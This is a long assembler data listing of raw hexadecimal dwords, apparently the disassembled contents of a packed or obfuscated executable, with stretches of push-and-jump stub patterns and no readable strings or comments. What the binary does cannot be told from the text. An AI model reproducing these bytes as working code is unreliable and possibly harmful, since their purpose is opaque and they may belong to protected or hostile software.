		dd 0B8C6D393h, 28DCBF6h, 0D916CB70h, 0D01792A2h, 44C4D7C3h
		dd 0A856189Dh, 0B880h, 0D4C82A00h, 0AC9F8D82h, 0D51B4790h
		dd 1B2CAAF8h, 792C5C69h, 72372B6Ah, 0EFBF1166h,	3A72A3B0h
		dd 0E4C774Eh, 1CF63B50h, 0BC559217h, 3A6AE1A4h,	1DC6F1A3h
		dd 263C7B60h, 23204B9Ch, 95C25B1Dh, 98C30085h, 732ACBD8h
		dd 12284D8Ch, 16CC178Bh, 0C644E806h, 658A8209h,	0C71C89B3h
		dd 455F75BAh, 0E61CF82Bh, 0D1D5E524h, 25617912h, 0B487DF42h
		dd 19CB0F92h, 883BE973h, 2F185163h, 0BDh, 0B34C9B15h, 3AD3E49Bh
		dd 0C35C6322h, 4EE7F8ABh, 0DA737236h, 2C5810F7h, 0A4E4FC95h
		dd 3E6C841Dh, 0B3F60EA7h, 7B49B34h, 0C60D6AF1h,	5BEBE516h
		dd 811AA9DDh, 0EA73C69h, 0BFA8DD20h, 0CFBA96D9h, 234E001Bh
		dd 8B62E2D6h, 77577817h, 784F3A6Ah, 0B82756DFh,	0F4916379h
		dd 0E0A22325h, 0BB087DB5h, 0A0E5F522h, 2B38F823h, 0E398EFBh
		dd 4060C1D0h, 0C9D97087h, 0EFA07DCh, 0D68A7E8Dh, 5C27BBA4h
		dd 0BEEB1B28h, 0D789029h, 4B76413Eh, 76AED98Bh,	4F87B235h
		dd 28608B5Ch, 6338637Ah, 6EA4F4A7h, 90150B90h, 0EFF6B6C6h
		dd 4ACA38BFh, 3FF1B3A6h, 0CC1B8EA6h, 3B8A1h, 7C4A0000h
		dd 14A3DD6Eh, 0EFF4B1E9h, 0C71E8CC4h, 9D24649Ch, 774E3A72h
		dd 5190144Ch, 2ABDEE26h, 1C6C7FFh, 0D6E19ED6h, 8956EEABh
		dd 4C681E6h, 83000000h,	348704EEh, 24248B24h, 291668h
		dd 24348900h, 36EF68h, 24048900h, 2651BD55h, 89500630h
		dd 58C689E8h, 2202685Dh, 24890000h, 24048124h, 4, 12FE6858h
		dd 34890000h, 8408F24h,	582434FFh, 4C481h, 348B0000h, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 0FB1641E9h, 27DAFBFFh
		dd 9054Fh, 32AAB8F5h, 0C5030630h, 8C7E0FFh, 37192E16h
		dd 1CF85A1Ch, 0F4D56809h, 0C45C6229h, 27EA3090h, 0EB5C1EF8h
		dd 3CF15F1Ch, 2F437D0Dh, 0E1C33816h, 0E84A03CCh, 904704D6h
		dd 9D334D1Eh, 8D8D40B1h, 6303428h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 73C35141h, 0ABDDCCE2h, 33958D89h
		dd 6A062Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0F91B27C3h, 85C73203h, 62A0BF9h, 66E8h, 3E9EC681h
		dd 85C72E0Bh, 62A06C5h,	0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 13C35141h
		dd 0E1B5FF60h, 0E8062A28h, 0Ah,	2B7CDFA0h, 0AB7B0E76h
		dd 0FF581C55h, 2A05C195h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 78900CDh, 4977BBE3h
		dd 0FF006AF9h, 2A343995h, 0EBC08B06h, 0F1DCA07Ch, 0D29130C3h
		dd 9A73A4F8h, 0C219E108h, 57295776h, 45E4F962h,	8E0E7358h
		dd 8FD90B31h, 0C5398F9Ch, 8F9E7A0Dh, 0A54C3C8Bh, 7601A456h
		dd 0FA17A914h, 55B3860Fh, 0C056F954h, 894E0F32h, 0D57CA95h
		dd 97312284h, 87A43C23h, 0EC8224C2h, 0B9B0B931h, 7DEC0E61h
		dd 505914E6h, 929F8522h, 8289D57Fh, 59EBF81Fh, 731603FDh
		dd 24FB8B0Ch, 0ADC246E5h, 66C33FBFh, 0A48DB49Ch, 0BFE9B6h
		dd 0F1C0000h, 9CD77DC2h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 0
		dd 16C9E900h, 0F3680000h, 0E9063037h, 0FFFA48AEh, 3038EE68h
		dd 48A4E906h, 0C668FFFAh, 0E9063039h, 0FFFA489Ah, 303B3A68h
		dd 4890E906h, 0F868FFFAh, 0E906303Bh, 0FFFA4886h, 303CB768h
		dd 487CE906h, 0A868FFFAh, 0E906303Dh, 0FFFA4872h, 303E5468h
		dd 4868E906h, 0FC68FFFAh, 0E906303Eh, 0FFFA485Eh, 30407468h
		dd 4854E906h, 7768FFFAh, 0E9063041h, 0FFFA484Ah, 3042E468h
		dd 4840E906h, 0B468FFFAh, 0E9063043h, 0FFFA4836h, 3044F368h
		dd 482CE906h, 7E68FFFAh, 0E9063046h, 0FFFA4822h, 30483568h
		dd 4818E906h, 8D68FFFAh, 0E9063049h, 0FFFA480Eh, 0F58FCD1Bh
		dd 10AAC43Dh, 2DC7AB58h, 4DE79175h, 6B056F95h, 0C341C58Fh
		dd 0A65F17B1h, 697E36D0h, 639F57F1h, 748D730Dh,	9FB3B67Fh
		dd 0A4740928h, 15237156h, 0F6F0453Ah, 5CC7226Fh, 0C5718277h
		dd 0FE7290CEh, 88F76A4Fh, 6492A398h, 0BA252270h, 66859DD5h
		dd 0F7DC156Fh, 554A671Fh, 226FA5E0h, 12876CD7h,	205E55C9h
		dd 44F48EE2h, 48F7A6EFh, 1EB8B7Ah, 600A6F66h, 0E1244620h
		dd 2318C776h, 289A6012h, 0E9433AA5h, 0A0E7CBB0h, 55A22C34h
		dd 6A40F95Eh, 80B0289Ah, 3227D68Dh, 289A6A03h, 0FA768CB4h
		dd 0F0453AE9h, 0C7289A69h, 0B911655Ch, 17D911F6h, 62h
		dd 0B2A7564Fh, 226F7D83h, 0FF362B34h, 0C0226F7Ch, 174D4455h
		dd 4FE6DBC2h, 70226F7Dh, 48465F31h, 0DCEDDBBCh,	6B7CF40Eh
		dd 695E0DBCh, 227011CCh, 11E45146h, 70DB2270h, 0A70C036Eh
		dd 2445EC0Bh, 0D04F39A4h, 289A3C69h, 0EF8788Ah,	3C264EB6h
		dd 6E877A1Ch, 8E7A6D9Dh, 0D911CD3Ch, 10094h, 0CB37CC00h
		dd 0A163BBA5h, 0E2B0E9D3h, 0CD685222h, 7B72E8FFh, 0FCABC53Dh
		dd 21E2D72Eh, 0EF494051h, 581CE8B6h, 9EDCD36Eh,	61A06E64h
		dd 9388230Dh, 226F7DA2h, 0EA99AA15h, 7CEF463Bh,	65D0226Fh
		dd 4E85646Eh, 44226F79h, 0FBE58D76h, 79BCB160h,	3E226F81h
		dd 649EDCD3h, 728F5D0Ch, 807712FCh, 2C44BE76h, 549DF242h
		dd 3401F6A5h, 8B226F81h, 5B0A2920h, 9005A8Dh, 45600EA4h
		dd 0AE48B324h, 0AA816615h, 89AE9D07h, 8345F0E5h, 0F7A2899h
		dd 448DE218h, 0CEB2A095h, 0F3A22A6Dh, 763A37FEh, 2D49BC22h
		dd 3BA6A843h, 0B867D244h, 0C05A1AEAh, 7278FC08h, 6463D632h
		dd 0BB71BD17h, 44000013h, 661EB8A4h, 8139D39Bh,	9E56F082h
		dd 0BE761068h, 0B8942E46h, 0DA9A6AEEh, 0F97D8840h, 1A40A75Fh
		dd 363AC880h, 0A89DB69Ch, 289FB48Dh, 56CD9D32h,	89669E71h
		dd 0ADA4FE87h, 45DF956Fh, 61FB758Dh, 0A1EA3F8Fh, 8E7543F2h
		dd 9D9EFFE4h, 43E8A0E5h, 0FCCBE74Ch, 79E42445h,	929108Fh
		dd 97C7289Ah, 9A12B8A4h, 0C8BED911h, 0F6000000h, 0BBA5CB37h
		dd 0EF16A163h, 7D41F4E9h, 0B76226Fh, 647510FAh,	78D8FB7Ah
		dd 33CF226Fh, 17EBA33Dh, 87366F59h, 6F81A392h, 0B2A91422h
		dd 2FDE277Ch, 1F4FB280h, 3EA39A35h, 24455F74h, 9848E24Dh
		dd 0EDC43D43h, 9A495A14h, 99A090A5h, 0ABBC2728h, 0DD584DFCh
		dd 0E228999Fh, 6C618077h, 2A6DE7F5h, 0D2A04FBAh, 0E4934232h
		dd 761846EFh, 1A54AD22h, 28939530h, 0A98E2731h,	5A636574h
		dd 508E85A6h, 0F4BAC0B4h, 55646401h, 12C0AFFBh,	9F490000h
		dd 966B23BDh, 7D863ED8h, 63A35BF5h, 41C37B15h, 0F3BD9933h
		dd 45DF956Fh, 64FE788Dh, 851F3BACh, 0A13B35CDh,	88ADA2BBh
		dd 2F289FB5h, 0CD37CA9Ah, 0AD550DA7h, 565729C3h, 0F77B88h
		dd 917340C2h, 90E8D2E3h, 0CB64FE72h, 7D0E271Ch,	46B1226Fh
		dd 80F2114Fh, 0EC43E96h, 87051029h, 675CE90Bh, 227023CEh
		dd 4AB886F1h, 90A13C26h, 117D1DF6h, 0CFC473BCh,	24460323h
		dd 9378319Ch, 0DC0FCEA7h, 7B6FF54h, 82487D22h, 0FC4A88Dh
		dd 0BFA40F14h, 57AC982Eh, 8596311Bh, 0F2C06F8Eh, 0DD786212h
		dd 5C3581E6h, 1F8A15E6h, 7390E535h, 7E7A92B1h, 4875FB9Eh
		dd 1FD9B59Ah, 0F5EA99AAh, 1BCD4D9Dh, 0FAC877E2h, 16CE6808h
		dd 3A7E84ECh, 0F5604EAh, 11E869B5h, 77710000h, 6E934BE5h
		dd 55AE6600h, 3BCB831Dh, 19EBA33Dh, 1BE5C15Bh, 6D076D97h
		dd 8C2650B5h, 0AD4713D4h, 0C9630DF5h, 60D5CAE3h, 57289FB6h
		dd 0A756F2C2h, 6F7D83B2h, 0D2C93422h, 18026E94h, 7B2A73C8h
		dd 0D281DCCh, 0B2226F7Dh, 0EC6E7947h, 706690F5h, 70DB2445h
		dd 88D126D6h, 352AD9h, 0EB289990h, 0D6715B19h, 1D59ACD4h
		dd 1F6150Ch, 2A6F8621h,	95A0959Eh, 2A226F9Ah, 8BC4AEBFh
		dd 0FD382DDCh, 0C2226F99h, 99D36257h, 79E4226Fh, 9A1C1D82h
		dd 0A5D4226Fh, 5E7767C0h, 0B0276D3h, 0BE0CF8EBh, 12D2E806h
		dd 5Ch,	0D61B9E83h, 90BF5566h, 393040C2h, 0A1EA3FE1h, 32ABFDF2h
		dd 0C4EC2445h, 7221323Eh, 7D1743A4h, 0F54035E4h, 0CA2899CAh
		dd 3803685Fh, 0BF2899CBh, 9B9A8F43h, 502899CBh,	50BBBDB1h
		dd 0FAEDA53Fh, 6F3D7660h, 59F4DE94h, 4FB798Bh, 10EDD2h
		dd 0A59A4900h, 2899CB90h, 6DC5BC27h, 0FA7E8856h, 487E7510h
		dd 4CFBAAF3h, 7D8DA89Dh, 0C732226Fh, 49F36BD0h,	49B4245Fh
		dd 3A36CC9Ah, 561AE8A0h, 3203F8A7h, 0A2289FB2h,	0B1480781h
		dd 8BF6F8A0h, 95EA3A94h, 0E3A89D4Ch, 0EF2A9017h, 9990E221h
		dd 5E0DBC27h, 8FF7390h,	9E3838CAh, 6A541CE6h, 47BFC51Ah
		dd 7C712031h, 24466EEEh, 804248B3h, 0C96A880Dh,	1074236Fh
		dd 0EBFD0000h, 0E21FD771h, 0C93AF28Ch, 0AF570FA9h, 8D772FC9h
		dd 0A7714DE7h, 0F993E123h, 18B2C441h, 39D38760h, 55EF8181h
		dd 0D461566Fh, 0EB289FB7h, 29108656h, 0E9226F7Dh, 9188E61Bh
		dd 0EBD065Bh, 0DF1CF829h, 0FB919EB2h, 215B4018h, 0D8F7EE94h
		dd 0CCAA5B29h, 231370D5h, 0E14C2460h, 349E6432h, 0E0D59D66h
		dd 28A06C55h, 0B631FF6Ah, 0E1FBAA4h, 23E2B05Fh,	0D9CE6953h
		dd 28A06C5Ch, 0F701F863h, 0C5CC795Eh, 840E17ABh, 0E6F1899Ch
		dd 0D041504h, 678033CFh, 8433E2F3h, 9FE7A68Fh, 1B101928h
		dd 289FE71Ah, 2A21329Dh, 0E22B80D0h, 0D9B83E33h, 9E092A75h
		dd 77923498h, 6FBB1564h, 0FB6h,	19B3A93Fh, 34CEA061h, 51EB877Ch
		dd 710B6D99h, 8F294BB9h, 9F65E9B3h, 82833BD5h, 45A25AF4h
		dd 3FC37B15h, 98B19731h, 9FB892A3h, 0C0902528h,	78D1CB37h
		dd 98C06F2Ch, 247C6677h, 36FFF4DEh, 89227074h, 0E5CFA161h
		dd 3E28394Ah, 38CC9AC1h, 0C0B7523Ch, 28F6ADA0h,	10AB95D9h
		dd 105C519h, 41CBD2E8h,	3000009h, 0F2A1EA3Fh, 5F48FBFDh
		dd 0A251BC24h, 93422ED4h, 0B146EFE4h, 0E79289Fh, 0C5740D17h
		dd 9FB165D0h, 0F8EF5A28h, 3E2848BAh, 9FB17ABFh,	38CA9828h
		dd 0CEB34E38h, 86964B4Bh, 92C8BFB3h, 9645F43Dh,	42393DC8h
		dd 764C19DDh, 2D339E2Ah, 6477E8A9h, 0F7FA46A0h,	8000000Eh
		dd 0A25AF468h, 0BD750F5Fh, 0DA922C46h, 0FAB24C2Ch, 0F4D06A0Ah
		dd 165EA62Ah, 3541C47Ch, 5604E39Bh, 72FE04BCh, 0E4D9F2D8h
		dd 289FB951h, 5601D166h, 7D83B2A7h, 0C934226Fh,	456E94D2h
		dd 32CDB7C1h, 23DF3721h, 5F751879h, 0A9BA721Dh,	271A42BFh
		dd 0E8068F3Bh, 0E4E33D2h, 99DAD3E3h, 0C7AD5725h, 3A4B42DDh
		dd 880h, 7D291072h, 7DD2226Fh, 0D9288B77h, 0C4738495h
		dd 0C4716615h, 0FB226F7Ch, 3092AB90h, 0CFB99C09h, 20C573D8h
		dd 0CEF62460h, 1D564038h, 0A05F0D28h, 3647B228h, 5EA87625h
		dd 3604231Ah, 27F5A4CCh, 98A299DFh, 0BBB022E0h,	28A05F7Ah
		dd 2E23D23Dh, 28A05F07h, 523C4DB8h, 0FFBA4B19h,	735D6E04h
		dd 7DDD0AD8h, 0CB01F893h, 0CF7E2D76h, 87710301h, 8D9ED42Fh
		dd 51C53196h, 0F7A2A76h, 7809D709h, 0CC187264h,	0E06h
		dd 6903598Fh, 841E50B1h, 0A13B37CCh, 0C15B1DE9h, 0DF79FB09h
		dd 4FB53903h, 32D38B25h, 0F5F2AA44h, 0EF13CB65h, 0E801E781h
		dd 9FBA42F3h, 10E07528h, 0BBA5CB37h, 0A2F69D82h, 8C7C5FC9h
		dd 0C5AB5795h, 43365EDBh, 0E7FD7357h, 7AA5DD2h,	1FCE0000h
		dd 0D9C3B551h, 68EC493Eh, 68D32270h, 6971C4B9h,	0DB462270h
		dd 88568CE4h, 0D263587Ah, 0E5226F7Ch, 0E47F697Ah, 1962B7EDh
		dd 49A8756Ah, 7442245Fh, 61FCE692h, 0DE8DF86Ah,	0E47EF210h
		dd 0B09AD62Ch, 9FB20831h, 559EF328h, 0A545B1A6h, 8FFA2A75h
		dd 773F6189h, 428EE864h, 0D5Ah,	0BD5705E3h, 0D872FC05h
		dd 0F58FE320h, 15AFC93Dh, 33CDA75Dh, 0FB098D57h, 0DE27DF79h
		dd 0A146FE98h, 9B671FB9h, 3C553BD5h, 9FBAEE47h,	6C3CD128h
		dd 0BBA5CB37h, 2733B482h, 6DABA23Dh, 74F1DB95h,	0BDA2594Ch
		dd 3475D68Ah, 84D8CFB1h, 0D2E7C846h, 6F78Ah, 2610C200h
		dd 0D7226F7Dh, 0DB8A3982h, 867BF50Dh, 226F7DAFh, 8FAEA510h
		dd 5F49289Ah, 0CF7EE924h, 0D56F0101h, 0DC8BE51Dh, 9680F80Eh
		dd 0C3ADC53Eh, 0C6201728h, 29D82176h, 36C9D744h, 4FB20CAh
		dd 0BC32F0E5h, 46F2A75h, 7777F6FEh, 0ADF95364h,	0CB2h
		dd 15AFAD3Bh, 30CAA45Dh, 4DE78B78h, 6D077195h, 8B254FB5h
		dd 0A361E5AFh, 867F37D1h, 499E56F0h, 43BF7711h,	94AD932Dh
		dd 9FBB969Fh, 0C4942928h, 0F6A5CB37h, 0A097DB28h, 9F14EE46h
		dd 87220C62h, 0F4FE8C76h, 99D72B01h, 0D9931FFh,	9537D2E7h
		dd 6F000001h, 0BBA5CB37h, 37D19F63h, 3AE93287h,	45592545h
		dd 9C919A24h, 2899A199h, 0F96ADF1Eh, 33AF98D9h,	0B3621122h
		dd 9A3C77BEh, 4A3F4828h, 289A3BEBh, 595061CCh, 3CB980FFh
		dd 0CB3A289Ah, 755F17EEh, 87DFC9DAh, 0C510FA60h, 58294235h
		dd 0C9A75B29h, 0D3BFB2D2h, 0D911C8F7h, 5AD9h, 0EA3F1100h
		dd 695276CDh, 1021FB0Ah, 0C6CDB261h, 0A2D63055h, 31DF62BDh
		dd 0B2AA6B4Ch, 41383F85h, 4585D6DCh, 4D2DB24h, 0F08B7501h
		dd 99823AFBh, 963E7D28h, 6BCB6BD7h, 58425364h, 998160D9h
		dd 6E9328h, 2D45BE16h, 9A8D1743h, 8D80B081h, 111229A1h
		dd 0C4A7D9h, 37DF0000h,	15E7D1CBh, 647A7840h, 0B0C1D29Eh
		dd 0A1CF3301h, 0CF850AAh, 4B1957ABh, 0BFA9BAB8h, 0EBD59B67h
		dd 6E636F93h, 226F91C7h, 0E27C8DF8h, 0EE6C7B49h, 6D3192F7h
		dd 0DC26226Fh, 0F54AFA94h, 694EFDACh, 526E531h,	44A9A013h
		dd 244440A3h, 2CFAA914h, 69029CD8h, 4170C5BAh, 0DC47289Ch
		dd 175DA7E5h, 89DCED11h, 0B6025C6Ah, 0B3Ah, 9D3725C3h
		dd 0B8521CE5h, 0D56F0300h, 0F58FE91Dh, 13ADC73Dh, 1BE96D37h
		dd 0FE07BF59h, 0C126DE78h, 0BB47FF99h, 1C351BB5h, 9FBD0E27h
		dd 4C1CB128h, 1409CD37h, 226F7D21h, 7D41F4E9h, 0B76226Fh
		dd 0DE8D9E09h, 0F0E5D710h, 226F7D45h, 7FE0F7Ah,	0B3BD45FDh
		dd 0CB374719h, 9F63BBA5h, 0A5A6DAFDh, 84632483h, 4051ECD6h
		dd 0BDE9952Fh, 27000004h, 0E03EA3Fh, 226F7D27h,	6D1C2D98h
		dd 456E9A78h, 0BD6CD724h, 655C12EFh, 8FAD8C0Bh,	13432899h
		dd 7D846920h, 561CE758h, 73F5C871h, 0F766CFC4h,	0EE592899h
		dd 8827A3F7h, 27A9D911h, 1A000002h, 0DABF9B4Ch,	969D085Ch
		dd 6EC6BDC2h, 6F7D2810h, 7A80D522h, 6500EA8Ah, 10B0A554h
		dd 0D1245F49h, 301A5CA9h, 7D58495h, 2D2DBAFDh, 3806251Ch
		dd 540CA6CAh, 9FD8C2AEh, 494032D1h, 0C675BE13h,	75A151D1h
		dd 0DDE34E2Ah, 64773D2Bh, 3778C41Eh, 0C000000Ah, 0E29A3428h
		dd 0FDB54F1Fh, 1AD26C06h, 3AF28CECh, 3410AACAh,	561EE66Ah
		dd 750104BCh, 96C423DBh, 0B2BE44FCh, 24193218h,	289FBE11h
		dd 374111A6h, 28F6A5CBh, 46A097DBh, 0D68814EEh,	5C13BF01h
		dd 3BC9B3C4h, 9A683E31h, 5C6E3CD6h, 74D2E722h, 17Eh, 0F44136E5h
		dd 0CB226F84h, 56116960h, 0FF97D88h, 2B678F74h,	17EA7A3Ch
		dd 5020E220h, 7CF40E66h, 94DD32E2h, 0DE7AF0E5h,	0AC7A2445h
		dd 0B64B1955h, 3C33CEB8h, 0F6755FCAh, 289A1E43h, 55B07EADh
		dd 0ADC83721h, 53CF281Dh, 7292899Ah, 2537937Fh,	5499D911h
		dd 0A000000h, 48078725h, 29204A89h, 0E4EA3FD1h,	0A78020h
		dd 4BC50A9Eh, 0A4B5503Ah, 94DA27F5h, 0F9180FAAh, 0EB877C4Ah
		dd 0A6F6601h, 244621A8h, 30C8AD5Ch, 0EF29A59Fh,	0FEB0857Ah
		dd 9C072899h, 0DEC833A5h, 99FDDA5Fh, 0F3E61628h, 118EC307h
		dd 0BA0DD9h, 37450000h,	82BBA5CBh, 2A214DB4h, 0AD5C18ECh
		dd 7D2C09FEh, 0A9B0226Fh, 0E397FC16h, 564DB8BAh, 36DEC3FCh
		dd 9DE0BF3h, 0A65C9A91h, 7A88E0CAh, 0B67D5CF6h,	4C226F94h
		dd 1EB837Eh, 0D1316F66h, 5E2F7DCBh, 0F001E2D4h,	12EFBD56h
		dd 0DA2F655Ch, 0FAEDE291h, 0BD244451h, 2FD5A352h, 11F3AB45h
		dd 81941A6h, 894E1002h,	93DF396Ah, 8CAh, 2DC79553h, 48E28C75h
		dd 65FF7390h, 851F59ADh, 0A33D37CDh, 8B79FDC7h,	6E974FE9h
		dd 31B66E08h, 2BD78F29h, 0ACC5AB45h, 9FBF7EB7h,	0DCAC4128h
		dd 0DA7CD37h, 0FD06AD55h, 3F294DB8h, 0EA993A4h,	12694EFDh
		dd 75D90542h, 0B789938Ah, 0BBA5CB37h, 37D19F63h, 2638Bh
		dd 0CF340200h, 537ABEA3h, 76FE047h, 0EA3FB810h,	65FDF2A1h
		dd 2A245F4Ah, 0E356D5BFh, 0D289FB1h, 0CCFEEADDh, 4D91742h
		dd 1F3h, 195FA775h, 2810CA22h, 0D5226F7Dh, 93883780h, 245F4AD7h
		dd 9DE0948h, 23BFAEFh, 117C28A0h, 0C324AE2Ch, 0CD3503B2h
		dd 0DE26F4A3h, 1A11AC96h, 0C6AA5810h, 0EE378CDCh, 0B8D84A3Fh
		dd 6ED92A75h, 7775B468h, 0EF3B9564h, 7FAh, 5DF76583h, 78125CA5h
		dd 952F43C0h, 0B54F29DDh, 0D36D07FDh, 5BA92DF7h, 3EC77F19h
		dd 1E69E38h, 0FB07BF59h, 0DCF5DB75h, 9FC04EE7h,	0CDC7128h
		dd 0F6A5CB37h, 5F250811h, 0C4BBE51Ch, 8463316Ah, 61A1DFD6h
		dd 26B97C71h, 0CF322270h, 21329D9Fh, 0AC9FA937h, 0AA442CD6h
		dd 0E7B7EEDCh, 145E2D2h, 371A0000h, 63BBA5CBh, 8737D19Fh
		dd 8B3AE932h, 50D8CA6h,	28F6DC2Dh, 14AF99DDh, 0CB2B81Dh
		dd 46F2446h, 149E9B1Ah,	0AE55289Ah, 8082DAC4h, 0FA0E831Ch
		dd 0E6F7AA56h, 473ADCFCh, 3A2D5D2Eh, 11CE7C4Eh,	3154D9h
		dd 568C0000h, 7D83B2A7h, 0C934226Fh, 0FE479CD2h, 34D2A04Fh
		dd 0C8BF5A44h, 45564F63h, 1B057024h, 99A79D9Ch,	30235328h
		dd 11378644h, 0BF4AD9h,	37820000h, 63BBA5CBh, 9A6735A1h
		dd 7D56DFD4h, 2A69226Fh, 88F0E9A9h, 8FA0B1C6h, 81F112E0h
		dd 2AD8308Ah, 0FE045C46h, 2AF9D872h, 99226FB1h,	0B8B84A69h
		dd 882233CEh, 8B3A83D8h, 352C46BDh, 94C62116h, 51792444h
		dd 4B3C496h, 0D7A5CD36h, 304F462Ch, 38D2A262h, 0EAF08480h
		dd 6A89813Ch, 0BB67B30Dh, 44000006h, 661EB8A4h,	8139D39Bh
		dd 9E56F082h, 0BE761068h, 0B8942E46h, 0DA9A6AEEh, 0F97D8840h
		dd 1A40A75Fh, 363AC880h, 0A89DB69Ch, 289FC18Dh,	56CD9D32h
		dd 3FA7E88h, 0A2973FC5h, 226F7D93h, 0C8CAAE58h,	0B89D4C5Dh
		dd 0AC56085Fh, 6FC6BBAFh, 5022705Dh, 0D3DDD4E5h, 0EF89E71Bh
		dd 0A5CB371Dh, 0D19F63BBh, 468B37h, 37C90000h, 63BBA5CBh
		dd 0C7E7D19Fh, 0A65C3225h, 0B94D1BCAh
		dd 0FF66D5BFh, 70D052EEh, 0DBE5DCEDh, 979E9342h, 28226F9Dh
		dd 3D2FD8BDh, 69BFBC06h, 514072h, 8B70000h, 704C2213h
		dd 14569522h, 6251DDE7h, 227A7182h, 0BBA5CB37h,	6F7CFE3Ch
		dd 650BF722h, 91DF237Bh, 0C53E0CA7h, 2B35C3ADh,	0C9681F38h
		dd 0E5F868E4h, 988F3F54h, 53AF8578h, 3CFF8760h,	2B86079Eh
		dd 44C290A1h, 9EAF4A34h, 659D6B04h, 56BC140Bh, 0EF87C88h
		dd 0C43E7C73h, 1D72C2ACh, 817625D4h, 226F7DB4h,	8AA9A00Bh
		dd 7EF80DDBh, 4A3C2287h, 92FD245Fh, 87F115E3h, 0CE34029Dh
		dd 261DB8A2h, 0EAC93907h, 0D36E5818h, 927028C2h, 4FA4F4DEh
		dd 0D4D9A68h, 9FB21D18h, 2637A228h, 7E098277h, 5E0D2A8Fh
		dd 14FE7290h, 7EB18479h, 9B06226Fh, 18C732A4h, 97FB8469h
		dd 20A7DD52h, 64B97C71h, 93FE2270h, 0CCA45E9Ch,	0E8887A32h
		dd 1059AEFEh, 5BFE6C61h, 67162446h, 9A63C372h, 9289F428h
		dd 81AFB520h, 0C86A8800h, 530226Eh, 2FB90000h, 26DB932Dh
		dd 0DF6AE48h, 0F313CB65h, 0D133EB85h, 632D09A3h, 0B54F25DFh
		dd 0D46E08FDh, 0F58FCB1Ch, 11ABC53Dh, 181D122Bh, 9F289FC3h
		dd 0CB373A0Ah, 17B4D0D1h, 0E1BD1DF6h, 4ACDB2C6h, 4C9B6958h
		dd 0AB63FD0Eh, 10A95C57h, 5B6C7DF1h, 87E91971h,	21060F9Dh
		dd 0D7050BC2h, 75958C19h, 1A56AC82h, 8318B280h,	0DCAAD2E7h
		dd 45564D29h, 33h, 0A1EA3F7Dh, 32ABFDF2h, 81EC2445h, 77E304D2h
		dd 0CB3DFEDDh, 48BA2899h, 27F58E28h, 15B09AC0h,	0B507E01Eh
		dd 99CB75C0h, 0CEDF4A28h, 48C98E4h, 37D60000h, 63BBA5CBh
		dd 9E37D19Fh, 553F33D0h, 388DC3BAh, 1F4B40EFh, 0F3244559h
		dd 2CD7DE25h, 124B3546h, 99A1181Dh, 23349F28h, 0D9C3AD55h
		dd 6AD5473Eh, 0A1380180h, 48BB2899h, 19E8402Ah,	90206B55h
		dd 84B3849Dh, 30274FB6h, 99311D10h, 37D9112Dh, 2Fh, 0A1EA3F6Fh
		dd 56B5FDF2h, 8FFA2445h, 0A71326A5h, 0AEDD2899h, 0A72B0AFFh
		dd 218C2899h, 0DCC69453h, 372A4A41h, 11377F4Bh,	0E851D9h
		dd 37890000h, 82BBA5CBh, 2EE3519Dh, 0BCB3BF02h,	3FEE867Eh
		dd 0F6E09271h, 0B20A645Bh, 0DE362050h, 0D3B24C24h, 22702900h
		dd 0B6650BF7h, 0ACAE3907h, 33227C2h, 0B4227031h, 90485249h
		dd 0C414FE72h, 0A977266Fh, 5241B5Dh, 461B2A10h,	7D2C9724h
		dd 860B2F98h, 3C33ADF2h, 462D8232h, 9A5EE451h, 5F70DB28h
		dd 4A1C01B0h, 211633A0h, 0EB5FD6CBh, 0F5602899h, 6188EDE4h
		dd 0DE2A6E36h, 0EF6C473h, 0F014CC66h, 0EEBC7E84h, 338D6463h
		dd 379E7h, 76E60200h, 91DD24DCh, 0AEC43FF7h, 0CEAA5C14h
		dd 0EC887C34h, 28AC7652h, 46FE98DCh, 651DB7BFh,	863ED882h
		dd 745AF47Ch, 0C4CF665Bh, 5BF0289Fh, 0A7CD378Bh, 5BA6740Dh
		dd 24DE1C13h, 0C141748Fh, 192AC5AFh, 0D483942Fh, 8C76FE06h
		dd 0C8D9F71Dh, 0DAEB2DBEh, 867DF90Ch, 0EA3FAA7Ch, 850DF2A1h
		dd 8F0DAB4h, 5807261Dh,	0A5FAC673h, 8FC40EAh, 0D6E7826Ch
		dd 0A5387ADFh, 0E792445h, 0E294A524h, 0A35F2899h, 7A8BE3CDh
		dd 4CBA12FCh, 2518322Ch, 180B3B0Ch, 11729E2Ch, 0AD5624D9h
		dd 0FFBDCEC5h, 2E000000h, 255EB249h, 483FB624h,	0A5CB37F0h
		dd 8B7947F6h, 6F64FFE9h, 226F7CC6h, 0B39DD72Dh,	0B4AB1618h
		dd 7202025Ah, 6610F5C3h, 90EAE17Ch, 6F78C211h, 1F51B122h
		dd 3B35CD85h, 3048BE8Ch, 5AB4AB46h, 0BD6CB50Ah,	456B72C8h
		dd 4AE44F24h, 280D02B1h, 8F28999Bh, 0A2F72D24h,	766B659Ch
		dd 28999ABFh, 73849500h, 0E37BCFC4h, 0E5242A6Dh, 6E98B88Eh
		dd 0CA89250Ah, 6B1AC9DAh, 230D679Dh, 0B1539188h, 8C76FE06h
		dd 0BCA6D234h, 65FF1021h, 0D281DCCh, 0B2227623h, 0F2125047h
		dd 0A39840C5h, 22762392h, 0DBA9BA25h, 0C9644E0Ch, 0BF92B2B8h
		dd 5DB76463h, 22111h, 1E3EAA00h, 3935CC84h, 561CE79Fh
		dd 760204BCh, 94E024DCh, 0D0541EFAh, 0EEA64034h, 0DC55F17h
